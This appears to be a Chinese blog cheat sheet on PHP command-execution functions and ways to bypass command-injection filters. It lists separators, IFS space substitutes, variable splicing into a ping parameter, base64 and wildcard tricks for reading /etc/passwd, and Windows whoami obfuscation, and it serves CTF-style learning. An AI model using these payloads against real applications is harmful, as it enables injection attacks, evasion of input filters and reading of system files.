常见的命令执行函数:
system() #输出并返回最后一行shell结果。 exec() #不输出结果,返回最后一行shell结果,所有结果保存到一个返回数组里。 passthru() #只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 popen()、proc_open() #不会直接返回执行结果,而是返回一个文件指针 shell_exec() #通过shell执行命令并以字符串的形式返回完整的输出 反引号 #本质是使用shell_exec()函数
命令分隔符:
windows: && || & | linux: && || & | ; 分号;在shell中担任连续指令的功能
php环境中可以使用: %0a 换行符 %0d 回车符
截断符号:
$ ; | & - ( ) { } 反引号 || && %0a #有时可当空格使用
命令执行绕过
1、绕过空格 ${IFS} $IFS$9 #$9可改成$加其他数字 < <> #重定向符 {cat,flag.php} #用逗号,实现了空格功能 %20 %09

2、拼接
#在linux系统中 a=g;cat fla$a.php a=fl;b=ag.php;cat $a$b #在php的ping环境中 ip=;a=g;cat fla$a.php ip=;a=fl;b=ag.php;cat $a$b

3、编码
cat /etc/$(echo "cGFzc3dk"|base64 -d)

4、单引号、双引号绕过
cat te''st.txt cat te""st.txt c''at te''st.txt c""at te""st.txt

5、反斜杠绕过
cat te\st.txt c\at te\st.txt

6、通配符绕过
cat /etc/pass*

windows下同理:如当命令执行被拦截的时候需要进行绕过,如whoami被拦截可以尝试如下进行绕过 w"h"o"a"m"i "w"h"o"a"m"i" "w"h"o"a"m"i w"h"o"a"m"i" who^ami wh""o^a^mi wh""o^a^mi ((((Wh^o^am""i)))) (Wh^o^am""i) (Whoami)

或者 set a=who set b=ami %a%%b% //正常执行whoami call

%a%%b% //正常执行whoami
文章介绍了PHP中常见的命令执行函数,如system(),exec(),shell_exec()等,并讨论了如何在遇到限制时通过各种方法绕过空格、编码、特殊字符等方式执行命令,包括在Linux和Windows环境下的策略。

2516

被折叠的 条评论
为什么被折叠?



